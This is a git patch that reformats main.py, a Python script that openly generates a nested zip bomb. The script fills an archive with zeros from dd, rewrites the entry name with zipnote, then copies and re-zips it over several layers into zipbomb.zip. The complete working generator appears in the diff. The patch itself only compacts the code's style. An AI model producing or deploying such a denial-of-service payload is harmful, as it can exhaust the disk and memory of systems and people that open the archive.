From b3cd8f8c301836433bde065a3302d187713fc160 Mon Sep 17 00:00:00 2001
From: Kamilla Youver / Archisha <95626487+archisha69@users.noreply.github.com>
Date: Wed, 14 Dec 2022 17:59:35 +0800
Subject: [PATCH] Update main.py

---
 main.py | 21 +++++++--------------
 1 file changed, 7 insertions(+), 14 deletions(-)

diff --git a/main.py b/main.py
index 4d750ba..b122d6b 100644
--- a/main.py
+++ b/main.py
@@ -1,5 +1,4 @@
-import os
-import subprocess
+import os, subprocess
 
 if os.name != "posix":
     print("os not supported")
@@ -8,29 +7,23 @@
 layers = int(input("Amount of layers: "))
 files = int(input("Amount of files per layer: "))
 
-try:
-    buff = int(input("dd buffer size (default=10 gb): "))
-except ValueError:
-    buff = 10
+try: buff = int(input("dd buffer size (default=10 gb): "))
+except ValueError: buff = 10
     
 print(f"total zip bomb size: {buff*(files**layers)} gigabytes")
 
 cwd = os.getcwd()
 try: os.mkdir("out")
-except FileExistsError:
-    pass
+except FileExistsError: pass
 
 os.chdir("out")
 subprocess.run(f"dd if=/dev/zero bs=1024 count={buff*(1024**2)} | zip zip0.zip -", shell=True)
 subprocess.run(r"zipnote -w zip0.zip <<<$'@ -\n@=0'", shell=True, executable="bash")
 
 for i in range(layers):
-    for j in range(files-1):
-        os.system(f"cp zip0.zip zip{j+1}.zip")
-    try:
-        os.mkdir(f"layer{i}")
-    except FileExistsError:
-        pass
+    for j in range(files-1): os.system(f"cp zip0.zip zip{j+1}.zip")
+    try: os.mkdir(f"layer{i}")
+    except FileExistsError: pass
     os.system(f"zip -r -9 \"layer{i}/zip0.zip\" *.zip")
     os.chdir(f"layer{i}")
 os.system(f"cp zip0.zip {cwd}/zipbomb.zip")